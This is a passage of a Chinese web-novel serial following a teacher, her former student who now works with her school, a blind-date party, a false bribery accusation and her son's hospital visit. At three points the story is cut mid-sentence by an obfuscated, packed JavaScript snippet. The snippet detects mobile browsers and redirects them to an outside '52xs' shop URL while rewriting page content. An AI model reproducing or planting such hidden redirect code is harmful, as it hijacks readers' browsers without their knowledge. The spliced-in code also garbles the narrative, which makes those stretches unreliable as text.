喜欢一个人的方式有千百种,可喜欢的眼神,全天下的人都大差不离。 是邵冲一脸单纯的执着。 是穆婷婷在恭维中的腼腆。 是秦梓轩低下的眸子。 也是曲子格直白的笑脸。 还有照片上,和女孩子拉着手微笑的宋乐。 以及会议室内,眼神坚定地望向李知难的李北辰。 13. 挺烦人的 月考的前一天,还在重新摆放桌椅的学生们闹闹哄哄,李知难交代完注意事项回办公室,发现办公室里竟然也意外地闹闹哄哄。 “啥情况?”李知难不解道。 “苗苗火了!”另一位老师答,“你们班苗苗。” 李知难:“她干啥了?” “她微博发了一张和小李老师的合照,说新来的帅哥老师,然后文诗给她评论:确实很帅。” 礼堂内,奚西也是一脸八卦地看着李北辰:“什么情况?” 李北辰只摊手表示自己不知情。 奚西道:“师哥,我觉得咱文大明星,可能是想吃回头草了。” 李北辰温柔地笑,解释道:“没有这种草,我和她之前不是男女朋友关系。” 奚西翻了个白眼:“你看着也不像是渣男,怎么说话这么渣?” 李北辰认真解释道:“我和她一直都只是朋友。” 奚西换了个角度:“那也可以从现在开始不只是朋友,师哥!人家可是大明星诶!” 李北辰摇了摇头:“跟我没关系。” 奚西歪着头,跟不上他的脑回路:“难到是因为你在可能音乐工作,见太多明星了?还是说文诗本人并不是那么好?我看小道消息说,她性格特差,私下还爱耍大牌?” 李北辰制止了她的八卦,回道:“没有的事,她是一线女明星,本来就很大牌。” 奚西发现了端倪:“嘁,这么护着她,还敢说没什么?” “我不是护着她,我只是说事实。”李北辰仍旧是之前的语气,没有辩解,也没有紧张。 此时,礼堂里的学生多了起来,李北辰看了看表,好奇道:“今天怎么这么早?” “明天有月考,所以下午放学早。”奚西解释。 李北辰好奇问道:“那老师也可以早下班吗?” 奚西:“像我这样的老师自然可以。” “那……班主任呢?……也是吗?”他问得有些不自然。 奚西立刻联想想到了他昨日的眼神,回道:“班主任应该不可以吧,如果抽中监考的话。” 李北辰点了点头,看起来有些失望。 奚西:“孩子们明天有考试,我们今天也会早结束的。” 李北辰应道:“好。” 奚西话里有话道:“而且我正巧今晚有事。” “和朋友出去玩吗?”李北辰顺嘴搭话问道。 她一脸故弄玄虚地回答:“去——相——亲——会!师哥你听说过这种聚会吗?” 李北辰摇头。 “就跟就业会似的,一堆男的一堆女的,我想着二十几个人,怎么我也能遇到一个好的。”奚西道。 “祝你好运。”李北辰应。 奚西:“我这次运气肯定好,我叫了曲老师和李老师帮我做参谋,李老师结婚了你知道吗?孩子都挺大了,属于专业人士。”她故意补充了一句,余光扫量李北辰的表情。 “你刚才不是说班主任不能早下班吗?”李北辰态度平静反问。 奚西咂摸着他平静的态度和明显的问题,在自己想多了和他有情况之间摇摆,最后回道:“我约的晚上7点半,怎么也来得及。” 李北辰装作无意询问:“你……去哪相亲?” 个把小时后,李知难慌乱地从聚会中跑出去透口气,气还没喘上来,便发现身旁多了一个人。 他熟悉的身影像是无处不在,自己躲都躲不完。 “你怎么在这……”她看着身旁过于巧合的男人,不由再次警惕起来。 “我也是单身。”李北辰答得坦然。 这话听起来虽然有道理,相亲会本就是为单身人士准备的,可她心里仍旧不放心,索性直白地问道:“李北辰,你不是因为我才来的吧?” “您觉得呢?”李北辰反问。 李知难微微皱眉:“我以为我上次跟你说清楚了,我……” 她话还没说完,窗檐下又多了位陌生人:“抽烟吗?” 李北辰抬手婉拒。 那人自说自话地点了根烟:“谢谢了北辰,我还真没想到相亲会也能有美女。” 李知难听这话音,意识到自己确实想多了,不仅想得多,态度也过分恶劣了。 “里面认识的?”这人似乎才看到李北辰身侧站着的李知难,看着二人的气氛推测问道。 “这位是学校的李老师,和奚西一起来的。”李北辰介绍道,“我同事,陈亦童。” 二人点了点头,算是打过了招呼。 恰逢曲子格也从里面跑了出来,看这三人排排站的阵仗,问道:“怎么都在外面站着?” “透气。”李知难和李北辰同时回答。 陈亦童看了眼曲子格,问道:“你也是来相亲的?” “嗯。”曲子格点了点头。 他隔着窗户望过去:“对上哪个了?” “里桌最矬的那个……”曲子格透过窗户指了指。 “行吧。”他又掏出了烟让了让:“解解愁?” 曲子格摇头:“我的愁这东西解不了。” 李知难拉着曲子格借口去洗手间,想劝她要是没有中意的便提前走,毕竟奚西那里看起来也不像是有戏的样子。 曲子格感叹道:“我现在倒有些理解你了。” “理解我什么?” “去他妈的爱情。” “这话可不像是你说的。”李知难意外。 曲子格指着里面,道:“你看,帅哥美女确实有,也确实养眼,可帅哥美女真不好伺候。在这里面逛一圈,我发现相亲就跟做买卖似的,奇货就得可居,他们压根不担心自己能不能成,他们就是给我们这些普通人添堵的。他们问问你的条件,掂掂你的斤两,看看你能不能配得上,但人家也没打算把自己出手,永远在比较。反倒是那个矬子,那才是真的打算买的。” “那你怎么着?跟了他?” “也不是不行。你都能便宜了宋乐,按照这个标准,我配他那正经般配了。” “曲子格,不像是你啊!”李知难没想到,能打败曲子格的竟然只是这么一场小小的相亲会。 “我追求真爱这么多年也看不见影儿,我也想向社会妥协一下了。”曲子格有些泄气道。 李知难打趣:“那你和吴老师?” “呃,他没戏了。”曲子格想了想这几日的殷勤换来对面冷冰冰的回应,愈发偃旗息鼓。 话还没说完,那边奚西走了过来:“走啊,去第二par。” 曲子格:“拉倒吧,我那矬子每天十点前必须上床睡觉,而且你配对的那位也不值得咱们再去第二par吧?” 李知难推脱:“我也不了……” “谁说和他们了!我师哥和他朋友一起!”奚西道。 曲子格一听李北辰在,立刻来了兴趣,李知难仍旧摇头,准备叫车回家。 “知难,明天不是监考抽签没抽到你吗!难得有空出来玩!”曲子格央求道。 李北辰像是背后灵般突然出现,故意当着众人问道:“是不是我在李老师不方便,那要不然你们去,我不去了。” 李知难看向他,觉得他这话说得异常欠揍。 “为什么你在知难不方便啊?”曲子格没头脑地接下茬。 李知难生怕李北辰再乱说什么,便道:“我没有什么不方便的。” 曲子格挽住了她的胳膊:“走吧,那个ktv里的饭特好吃,我刚才都没怎么吃东西,一起去嘛。” 奚西看了看她,又看了看一旁的李北辰,没有插话。 最终李知难还是被赶着鸭子上了架。五人刚好坐了陈亦童的车,他二人坐前面,她三人在后。 曲子格路上又忍不住同她小声确认:“皮皮没事吧?” “这两天在奶奶家。”李知难小声答,抬眼却看到后视镜里一双直愣愣盯着自己的眼睛。 后视镜里只能容下两双眼睛,每个人的眼睛望过去,那镜子里呈现的都是不同的风景。只一方细长的小镜子,折射出来的方寸,就能让人心底忽乱。 曲子格抱怨道:“那你干嘛还着急回去当空巢老人。” 李知难低下了头,听不到她在念叨什么。 车一路开,路灯在两旁飞速后退,她只觉得自己被人监视着,连喘气的幅度都要思量。 “走错路了吧?”奚西突然出声。 “北辰的手机导航的。”陈亦童解释道。 奚西看了看手机的地址,感叹道:“去这么贵的地方?” “这地方有点奢华了吧?咱们就是聚聚会,普通的就可以。这地方我可消费不起。”曲子格生怕一会儿有人和她AA,急忙道。 李北辰眼神有些许的慌乱,但仍旧声音镇定地解释道:“我刚才突然想起来在这个KTV里有会员。” “让你出钱不合适,”李知难突然出声,“还是去之前那个吧。” 李北辰:“没事的,送的会员卡,马上到期了,用不完也浪费。” 奚西不客气地应道:“那就谢谢师哥啦!” 曲子格在她耳边耳语:“又是迈巴赫又是CBD的,你这个学生可以啊。” 李知难:“和我没关系,是奚西的师兄。” 曲子格:“你说他到底是不是对我有意思?上次我就觉得他对我有意思,但是中间也没什么,今天这行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427798|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,感觉又有点暧昧了。” 李知难:“你抱好了你的金砖等着吧。” KTV被他们三个人唱得热闹,李知难在一旁听着,明白地看出来,李北辰的朋友喜欢奚西,但是奚西脑袋里这根弦还没接上。曲子格一贯没脑子,只顾着自己开心,完全没有眼力见。而李北辰,他一直在忙,从头到尾都在拿着手机,方才接了个电话,直接出去了。 曲子格唱累了,邀请道:“上厕所去不?” “你几岁了?” “几岁也得一起去上厕所。” 李知难看着那两人的状态,又觉得也不失为一个好机会,就随着曲子格走了。 曲子格喝了些酒,唠唠叨叨道:“CBD就是高级,就是豪华,对着长安街的夜景唱,唱得我特开心。” 李知难:“你就是对着马桶唱,也能很开心。” “确实,我就是一个开心的人,”她笑道,视线一转,不知道是自己喝多了眼花还是真的看到了,便指着那边正在拥抱的男女道:“知难,那人怎么那么像宋乐?” 李知难望过去,拉着她往反方向走:“你看错了。” 曲子格酒劲战胜了理智,喊道:“不可能,那孙子就是宋乐。” 她酒醒了一半,欲上前理论,却发现李知难的手拉住了她。 “你什么意思?”她看着自己胳膊上的手,不敢相信这是李知难的举动。 “别过去了,不好看。”李知难平淡回答。 “现在是说这个的时候吗?”曲子格不解。 “我的事情,不用你管。”她的态度坚定。 “李知难!” “曲子格。” 曲子格举起了手指怼到了她鼻梁上:“你当初怎么说我的啊?放到你自己身上,就双标起来了?” 李知难将她的手指打开:“你喝多了。” 二人开开心心地出去,却黑着脸回到包房,曲子格赌气似的喝起了酒,李知难和奚西告别,拿起包直接离开。 “我送李老师吧。”李北辰在她走出大楼的那一刻追了上来。他气喘吁吁。 李知难推拖着:“不用了,车马上到。” 两个人就这样肩并肩站了半个小时,李知难手机上仍旧显示:前方等待人数300+。 “你不问我为什么么?”这个夜晚和刚才的酒精让她脑子里有些混乱,她没来由地开口问道。 “什么为什么?” “为什么走。” “李老师做事,肯定有李老师的理由。” “是么?”她冷哼道。 “您心里要是不舒服,撒气的方式有很多,别选伤害自己的这种。”李北辰话里有话地说。 “我为什么要不舒服。” “我只是打个比方。”他微笑地看向她,似乎是在赔罪。 “你为什么要打这个比方?”显然,李知难并没有打算轻易放过。 “因为您看起来像是受了伤的样子。”李北辰低着头,缓缓回答。 这话像是在李知难的火星上泼了碗汽油,她拧着眉毛不服气问道:“我哪受伤了?” “心。”李北辰平淡地指了指自己左边胸膛。 “狗屁。”李知难口不择言道。 李北辰被她这话啐得收了声。 “你知道个屁。”她继续道。 李北辰转过头,语气仍旧温和,问题却不然:“那您为什么走?” 李知难看着眼前车流不息的三环路,突然熄了火,只道:“因为……想逃避。” “我以为逃避不是您的风格。” “你并不了解我。” “是么?”他语气清清淡淡,却透着不认同。 “我其实真的好奇,李北辰,你是找不着女人吗?”她再次将话锋一转。 李北辰被她说楞。 “我看你模样也还行,工作也挺稳定,你是有什么难言之隐所以没有女孩愿意跟你吗?”她咄咄逼人地问道。 李北辰看着她的眼睛,回道:“可能是吧。” “怎么?你有什么变态的癖好吗?还是说你有什么让女生接触之后就巴不得赶紧跑的本事?” “我不知道。”他仍旧不怒不脑。 “那你年纪轻轻一个大小伙子,不去谈恋爱享受生活,老在我屁股后面转什么……” “李老师,您误会了。”李北辰打断了她。 “我误会什么了?” “我没有……”故意出现在你周围,这一切都只是巧合。他到底没有将话说完,这话他自己也不信。 “那你以后能不能别老在我眼前晃悠了,”李知难看着他,冷冷地说道,“挺烦人的。” 14. 送礼 今日的校园格外平静,教室里鸦雀无声,全是一个个低着头奋笔疾书的孩子。李知难在办公室里写着教案,曲子格拎着咖啡示意她一起去外面偷懒。 天气晴朗,操场空空荡荡,只剩篮球框上的篮网在悠闲地随着微风轻动。高中校园的篮球场,只这几个字便放佛可以代表青春,但没有了那些穿着校服的男孩女孩们,这里左右也不过是一片空地。 曲子格问道:“昨天怎么回去的?” 李知难:“走着。” “走到家?”她有些难以置信。 “走了三站地,拦了辆出租车。”李知难回道。 “我还以为……李北辰同学送你回去了。”曲子格道,“你走了之后,他也没再回来。” 李知难点了点头,没接话。 “也不知道他去哪了,人走也不知道说一声。”曲子格聊着闲话。 李知难仍旧没回答,可她知道他去了哪,因为他昨夜就那样跟在自己身后,一直到出租车从他身侧驶过,他一直跟在自己身后。 曲子格还是没有沉住气,开口道:“宋……” 她名字还没讲完,李知难开口打断道:“聊点别的吧。” “知难,”曲子格有些着急,“你是我最好的朋友,无论有什么事我都不会不管你的,你至少能跟我讲讲你是怎么想的吧?” 李知难认真地回道:“我知道,但是我现在什么也没想。” “你……”她还想再争辩,却看李知难拉住了她的手。 “我需要你假装什么都没发生。”李知难一脸平静。 曲子格刚想反驳,李知难下了最后通牒:“你如果把我当朋友,就装作什么也没发生过。如果做不到,那我们最近就别见面了。” 曲子格本能地想急眼,却见礼堂那边忽然一片乱糟糟,身侧跑过两个学生急忙忙往那边赶,李知难拦住询问。 “老师们,出大事了!咱学校来了一个大明星!”学生的声音激动雀跃。 李知难:“啥?” “文诗!文诗来咱们学校了。就在礼堂里!”学生们看着后面赶来成群结队的孩子们,急匆匆跑开。 李知难和曲子格二人此刻也忘记了刚才的争执,面面相觑。 大明星带着墨镜口罩正坐在礼堂的最后一排,旁边俩工作人员一左一右护着,但也拦不住高中生们的热情,有照相的,有夸她漂亮的,有想要要签名照的,那两个工作人员拦得有些吃力。 “咱们学校什么时候允许社会闲散人员随便进出了?”李知难在门口看着这情景,小声问。 曲子格:“你管她叫社会闲散人员?” “你管她叫什么?” “大明星。” “大明星想去哪儿就能去哪儿?” “基本上是吧。” “那大明星跟耗子有什么区别?”李知难不屑。 曲子格敏感地反应过来,意外道:“你不喜欢她?” “我……又不认识她,有什么喜不喜欢的。”李知难被这样一问,倒是有些尴尬。 “我听你这口气,分明就不喜欢她,你不会是她的黑粉吧?”曲子格道。 “我还是她的白面呢。”李知难翻了个白眼。 “你说,她到底是来干嘛的啊?”曲子格八卦着。 此时奚西从后面悄悄拍了拍她二人肩膀,回道:“当然是来找我师哥的。” “小李同学?”曲子格一脸八卦,“那他人呢?” 奚西小声回道,“今天月考,他不来学校的。” “大明星难道没他电话吗?还要这样来扑个空?” “谁知道呢,我刚才跟她说了人不在,她才要走,就被这帮小人精们给拦住了。”奚西说道。 李知难回到办公室后,鬼使神差地掏出手机,群里面早就有那条微博的链接。 那张照片里,李北辰和苗苗对着镜头,小女孩搞怪地比着耶,年轻的男人在一旁客气又温柔地微笑。 她的手不由地抚上那张脸。这好像是她第一次在照片里见到成年的他,被时光静止在图片中的他,和那个会说会动的他不太一样,看起来有些陌生,只是那双眼睛,怎么会有这么好看的眼睛? “报告。”门外突然传来声音。 李知难被这一声吓得直接把手机扔了出去。 “对不起啊李老师,吓到您了?”是邵冲,在门口看着毛手毛脚的李知难,有些难以置信。 李知难稳了稳神:“进来,怎……怎么了?” “哦,有道题想问您。”他指了指手里的试卷。 李知难看了看手表,回道:“月考还没结束呢,你提前交卷了?” 邵冲慌乱点了点头,道:“我……写完了,就想补补之前落下的。” “哦,你说。”李知难拿过了卷子。 “就是这道。” 是道语法题,李知难仔细解释后,邵冲心不在焉地点了点头。 “回去把第四章后面的练习题做做,都是跟这个内容差不多的,巩固巩固。”李知难交代道。 “谢谢李老师。” “嗯。” 李知难点了点头,但邵冲仍旧没有要走的意思。 “还有事?”她问。 邵冲有些犹豫,但还是问道:“我是想问您,您那天为什么让孙老师把我领走?” “啥?” “操场打架那天,为什么您带走了赵星移,让孙老师带我走?” “哪有什么为什么,你们两个人犯了错误,我们两个老师分开教育你们,谁带谁走都一样。” 邵冲的气鼓鼓的,低声嘟囔道:“当然不一样。” “你就为了这个啊?怎么?孙老师罚你罚轻了?还想让我再呲儿你一回?” 邵冲没被这话吓到,又质问道:“那,赵星移进音乐剧,您也帮他说情了对吗?” “……”李知难没回答。 “为什么?” “什么为什么?” “为什么您要帮他,明明是他做错了事,为什么我要接受惩罚,他却得到了奖励,我觉得这不公平。”邵冲将心底的不悦一股脑说了出来。 “你先动的手,是不是?” “那是他先说您的!” “他做错了事情,我如何处罚他,是我和他的事情,你只需要管你自己的事情,你动手打人了,孙老师教育你,那你也要接受自己做错事这件事。”李知难教育道。 “我做错什么了?”邵冲不服气反问道。 “你打人了,你说你做错什么了!”李知难拍了下桌子,“怎么你打人还有理了?” 邵冲反驳道:“我都跟您说了!是因为他先出口污蔑您,我是为了维护您的名声!” “我用不着你!”李知难厉声回道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427799|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 邵冲看着她,脸上满是失望,道:“李老师,您之前之所以对我那么好,其实是因为我妈给您送礼了,是吗?” 李知难难以置信地看着他。 “您也不用否认,我问我妈了,她都承认了,”邵冲道,“所以,赵星移家这回也给您送礼了是吗?” 李知难气急道:“邵冲,你嘴上别没个把门的!” 此时,门外的几个小脑袋瞪大了眼睛看向对方,“我靠!这么劲爆!” 周一例会之后,李知难被孙书维单独留了下来。 “你还是要解释解释。”孙书维道。 “无所谓了。”李知难深叹了口,瘫坐在椅子上。 孙书维正色道:“这不是无所谓的事,处理不好,你今年评先进全毁在这上面了。” “今年不行还有明年。”李知难答。 孙书维摇头:“你想得太简单了,这个污点你背了,那你这辈子都可能没机会了。” 李知难无奈地笑了笑,回道:“早些年这话刘主任当着你面跟我说的,现在刘主任退了,你们教务处怎么换来换去还是这套说辞?我还以为你能与时俱进一点呢。” “我没跟你开玩笑。”孙书维道,“这是原则问题,你工作不想要了?” 李知难摆了摆手:“算了吧,这事到底是什么情况,你我心知肚明。我不竞选今年的先进了,实在不行明年的也算了,避避锋芒,等他们毕业了这事也就过了。书维,这个结果,是所有可能出现的结果里,最好的一个。” 孙书维:“你真自己当春蚕,当蜡烛了?是谁说现代教育体系不需要这种牺牲奉献的?” 李知难回道:“我是老师,他们是学生,他们错了,哪怕他们担全责,我也得跟着担一半,倒不如我自己这样清净。反正学生一波换一波,等这波走了,这事也就平了。” “你……” “我又不是没经历过。” 孙书维拿出了处理意见书拟表,道:“校长的意思,是让你停职一周,算是个交代。我跟邵冲妈妈打过招呼了,邵冲那边的工作,她会做的。” 李知难点了点头:“书维,你觉得我们这样处理对吗?” “我的建议是你说出真相,但是你非要这样不明不白,现在你又过来问我对不对?” “我不是说这个,”李知难道,“我是说,关于赵星移和邵冲打架的事情,我们处理的对吗?” “邵冲先动的手,所以他请家长,写检查,赵星移先挑起了事端,所以他写检查,何况你也算是了却了赵星移的心结,教育教到了这种程度,我们也算是精神指引了,你还觉得哪里不对?” “你看武侠小说里,主角以正确的理由先动了手,没人会责怪他,反而会说他侠肝义胆,以邵冲的角度,他认为自己是做了件正确的事情,怎么却落了这么个结果呢?我们这样教育孩子,以后的孩子还会遵从自己内心的正义感吗?” 孙书维道:“武侠小说里面没有法律,法律规定得明明白白,先动手的人责任更大,我们这样教育孩子,至少孩子不会长大以后为了所谓的正义违反法律。你一个老教师了,这点事想不明白?什么社会什么规则,一切都要建立在规则上。” 这答案李知难并不陌生,她看着一本正经的孙书维反问道:“我们孙老师就没有一次违反原则过吗?” 孙书维腰板挺正,回道:“没有的。” 15. 她的生日 下午大课间休息,楚老师召集了参与音乐剧老师的内部研讨会,李北辰看着满屋的老师,却没找到自己想见的那张脸,他小声问奚西道:“没看到李老师?” 奚西环视一周,也颇有些意外。“是啊,李老师没来诶。” 李北辰指着桌上的文稿,声音提高了些:“这一块不是李老师负责的部分吗?” 楚老师停顿下来,面色颇为复杂,只答:“呃,李老师她家里有点事……” “什么意思?”李北辰并没有被这句话打发,他契而不舍又不合时宜地追问。 楚老师显然是在编瞎话:“就是她身体不舒服,请假了。” “不是家里有事吗?”李北辰又问。 楚老师:“我也不清楚,反正就是请假了,这块交给小赵老师?” 李北辰意识到自己刚才语气的冲撞,回道:“对不起啊楚老师,我之前跟李老师单独交代过这里的韵脚改法,有几个点还挺复杂的,没关系,就别再麻烦小赵老师一趟了,回头等李老师身体好了,我单独去找李老师改一改吧。” 楚老师点了点头:“好,那就辛苦小李老师了。” 会后,李北辰急匆匆地去了曲子格办公室。 “你要知难家的地址?”曲子格瞪大了眼睛,“你有什么要紧事吗?” 李北辰微笑道:“就是音乐剧的事……” 曲子格翻了白眼打断了他:“小李同学,你这样就有点分不清大小猫儿了,知难现在一堆烦心事,你这音乐剧那么多老师呢,非得让她来不可吗?” 李北辰顺杆问道:“李老师怎么了吗?” 曲子格一肚子的话正无人可诉,回道:“你可不知道,就我们学校这个狗屁政策,他们班学生一句话,脏水就泼到她身上了,现在停职呢,说她收家长的贿赂了,可不可笑?你要是真送了个金山银山也值当的,送什么了见都没见着,证据都没有,学生说是就是,瞎扯!” 李北辰道:“那有什么我能做的吗?” 曲子格回道:“这事孙书维都解决不了,你能做什么。真是人倒霉喝凉水都塞牙,家里家里不太平,工作工作也闹心。” 李北辰抓住了她话的尾音:“李老师家里怎么了吗?” 曲子格这才意识到自己话说得太快,敷衍道:“没什么大事。” 李北辰客气道:“要是有什么能帮忙的,李老师毕竟当年也是我的恩师,您随时吩咐我。” 曲子格摆了摆手,心道你能帮什么忙,却在余光扫到他的脸时,突然来了主意。“你说你要找知难问音乐剧的事?” “要是李老师不方便,那就等她回来再说吧。” “别别别,”曲子格打断道,“干嘛回来啊,你去她家,对你去她家,有事就及时解决嘛,她这礼拜跟家闲着也是闲着,不如你帮她找点事做。” 李北辰不解她这突如其来的态度,只见曲子格看了看表,道:“你能大概五点半左右到她家吗?” 李北辰听着这具体的时间点,心中疑惑。 曲子格道:“她家在京德小区3座1707,你大概五点半左右到就可以。别去早了啊,晚点可以,别去太早。” 李北辰到达小区门口的时候,正巧李知难出门,她穿了件粉色的裙子,和在学校里常见到的素色正装很不同。李北辰记得,她原来很喜欢各种各样的连衣裙,鲜艳的她走在晨光里,在余晖中,那是少年的他脑海里魂牵梦萦的画面。 事隔多年,他再次看到了他曾经以为永生都无法看到的景象。 “李老师。”李北辰上前同他打招呼。 李知难满脸意外,左右看了看确认这里是自己家小区,才回道:“你怎么在这?” “曲老师让我过来的,说您最近闲在家,音乐剧有些有些您帮忙的地方。”他将手上的文稿递过去,又道:“楚老师说办公室其他老师的任务也比较满,这块您比较熟悉,我就过来了。” 李知难接过文稿,狐疑道:“你发个微信不就行了吗?还至于跑一趟?” 李北辰倒也不慌张,只答:“曲老师让我过来的。可能是怕不当面说说不清楚吧。” 李知难点了点头,道:“知道了,我改好以后给你过目。” 李北辰并没有要走的意思,继续道:“听说,您被冤枉了。” “没人冤枉我。”李知难回,脸上写满了送客。 “我知道事实不是那样的。”李北辰道。 “你什么也不知道。” “我相信您。” “信我什么?” “您的品格。” “你高看我了。” “以前是,但是现在我的个子比较高。”李北辰眼底带着笑意,没头没脑地说到道。 “什么乱七八糟的。”李知难有些被他这话逗笑。 “李老师,”李北辰突然道,“祝您生日快乐。” 李知难的表情不由僵在脸上,那笑容只剩下最后的余韵,被这话打断后,变成了肉眼可见藏不住的尴尬。 “……谢谢。”她答。 “我记得您以前很爱穿裙子,这还是第一次见您再穿这样的衣服,很好看。”他由衷的称赞,只让李知难的尴尬更深了一些。 “以前岁数小,现在成熟了,不喜欢这些了。”李知难答。 “可是您今天穿了。”李北辰盯着她这身鲜艳的衣服,点破了她的谎。 “别的衣服……洗了。” 李北辰话里有话地说道:“我倒是觉得,人很难改掉自己喜欢的事物。可能会嘴硬不承认,但心里还是改不掉。” “你说的是没出息的人。”李知难反驳。 “是吗?”他不置可否。 “你还有什么事吗?”她直白地下了逐客令。 “没有了。” “好,那我先走了。”李知难摆了摆手,算是告别。 “李老师。”李北辰突然在身后开口又叫住了她。 “嗯?”她转头。 “您不是没有选择。”他道。 “什么?” “您一直都有选择,您应该选择您想要的。”他的表情一本正经,放佛他才是老师,她是那个困在迷途中的学生。 李知难看着他,认真回道:“我现在选的就是我想要的。” 晚上八九点钟的时候,曲子格打来了电话,开口便问:“怎么样?” 李知难方才想明白她的路数:“你的心眼啊,要是能多长点在你的恋爱脑里多好。” 曲子格得意答道:“你就说宋乐嫉妒没嫉妒!” 李知难答:“没有。” “怎么可能?小李同学出现在他眼前,他能无动于衷?” “曲子格,我说了,你需要当作什么都没发生过,你到底听没听懂?” 曲子格急忙换话题道:“生日快乐啊我的好姐妹。” “谢谢。”伸手不打笑脸人,李知难无奈回应。 “不说这些了,你们今天去哪庆祝了?” 李知难:“Fancy餐厅。” “挺浪漫啊,那我给你买的蛋糕皮皮喜不喜欢?我专门挑了他喜欢的汪汪队。” 李知难:“还没打开,在冰箱里。” “Fancy不让外带蛋糕吗?什么情况?” “我自己去的。” “卧槽,”曲子格急道,“什么意思?什么情况?丫宋乐给你自己扔那了没给你过生日?” 李知难:“不是,我特地没让他来,顺便让他帮我接皮皮今天去奶奶家。” “为什么啊?”曲子格问道,继而又想起KTV的画面,想必是她不愿意在这个日子里看到宋乐那个糟心玩意儿,便道:“那你告诉我一声我给你过啊,过生日哪有自己一个人过的。” “我就想要一天属于自己的日子。” 曲子格低声道:“知难,你是不是不太开心?” “怎么会,”她答,“我挺开心的。” “那还自己一个人过生日?你知道的,无论什么事情,你都有我。” 李知难笑了笑,答:“我知道,我很开心今天自己过,也许你不理解,但是今天,这个只属于我自己的时间,对我来说很珍贵。” 穿着漂亮衣服的漂亮女人,独自一人坐在自己喜欢的餐厅,吃着自己想要吃的食物,那短短几个小时,只属于自己的时间,也许在外人看起来显得孤独可怜,但却是李知难当下最想要的。 “你开心就好,”曲子格答,“好了,早点睡吧,生日快乐知难。” “谢谢。” “爱你啊。”她说着令自己浑身不自在的肉麻表白。 李知难笑得格外开心:“我也是小格子。” 那晚,她泡了个长长的澡,读了本自己喜欢的书,不到十点便躺到了床上。手机在她睡意最沉的时候突然响起,她茫然无措地看着手机上的时间和那串陌生的号码,见鬼了?凌晨一点也有广告给打电话? 电话那头人的声音焦急:“宋一家长是吗?” 李知难点头。 那边看不到她的动作,只继续道:“您家孩子出了意外,现在在三院,麻烦您赶紧过来一趟。” 像是被坠落物砸中一般,李知难半个身子有些立不稳, “我现在过去,”她道,才想挂电话,又忍不住问道:“他爸爸不在吗?” “刚才还在的,这么一会儿就找不着人了。”那边护士埋怨道。 二十分钟后,李知难匆匆赶到,只见皮皮像是个没人要的孩子一样,孤单单地躺在急救中心的床上,眼睛小心谨慎,观察着周围的喧杂,李知难几步跑上前,抱住了床上那个瘦瘦的小男孩。 皮皮下意识缩了下身子,直到眼睛确定,鼻子确定,身体确定,抱住他的人是妈妈后,才酸着鼻子,翁翁道:“妈妈你怎么才来?” 李知难紧紧抱着他:“对不起皮皮,对不起。” 皮皮愈发委屈,渐渐哭出了声音。 “宋一家长是吧?”身旁的护士见状走了过来,李知难急忙点头,“孩子没什么大事,急性肠胃炎,下回吃东西注意点,别吃那么多凉的辣的,才多大的孩子。” 李知难皱着眉头望过去:“你吃辣的了?” 皮皮低着头不答话。 护士道:“说他爸爸带他去吃火锅了。” “您看见他爸爸了吗?”李知难问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427800|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护士瞄了她一眼,反问道:“你问我?” 李知难也反应过来。 护士调了调皮皮的点滴,边往外走边念叨:“你老公我老公啊。” 李知难恨恨地掏出手机,熟悉的铃声倒是很快在不远处响起。宋乐匆忙跑过来。 “皮皮没事了吧?”他问道。 “你问我?”李知难强压着火。 宋乐解释道:“不是,我刚才有事……” 周围人多,李知难强忍着压低声音,用手指尖使劲戳着宋乐的肩膀:“你有事!?我儿子躺在急救中心床上你跟我说你有事?!” 宋乐本欲解释的脸也因为她这突如其来的一戳戳出了火气:“你还让不让人说话了?你就不能听我先说完么!” 李知难紧紧咬着牙:“我儿子躺在病床上,你就是脑袋要断了,你也给我绷在这儿等他没事了再死!” 宋乐话被卡在喉咙里,只回道:“我说不过你,我向来说不过你,你都对,行了吧?” 皮皮在不远处喊妈妈,李知难使劲收拾着情绪,深吸了口气转身走过去。 皮皮见着李知难后面的身影,兴奋道:“爸爸!” 宋乐上前摸了摸他的头发:“行啊儿子,没大事,挺皮实!” 皮皮一脸高兴地看着宋乐,又用眼神瞟了瞟李知难的表情,道:“妈妈,不是爸爸的错,是我非让爸爸带我去吃火锅的,是我的主意。” 李知难黑着脸。 皮皮撇嘴念叨:“妈妈真没劲,这也不让吃,那也不让吃。” 李知难这口气喘得满是火。 宋乐在旁道:“没事,咱们大老爷们儿,别跟她一个妇人计较。” 皮皮跟着笑。 李知难认真地看着皮皮,道:“你觉得这句话好笑吗?” 皮皮看李知难的表情,就知道惹事了,急忙态度端正,立刻摇头。 宋乐在旁看不惯地说:“干嘛啊?回回把我儿子整得跟个小绵羊似的,你天天这么训我儿子,以后他要找媳妇得多受气?” 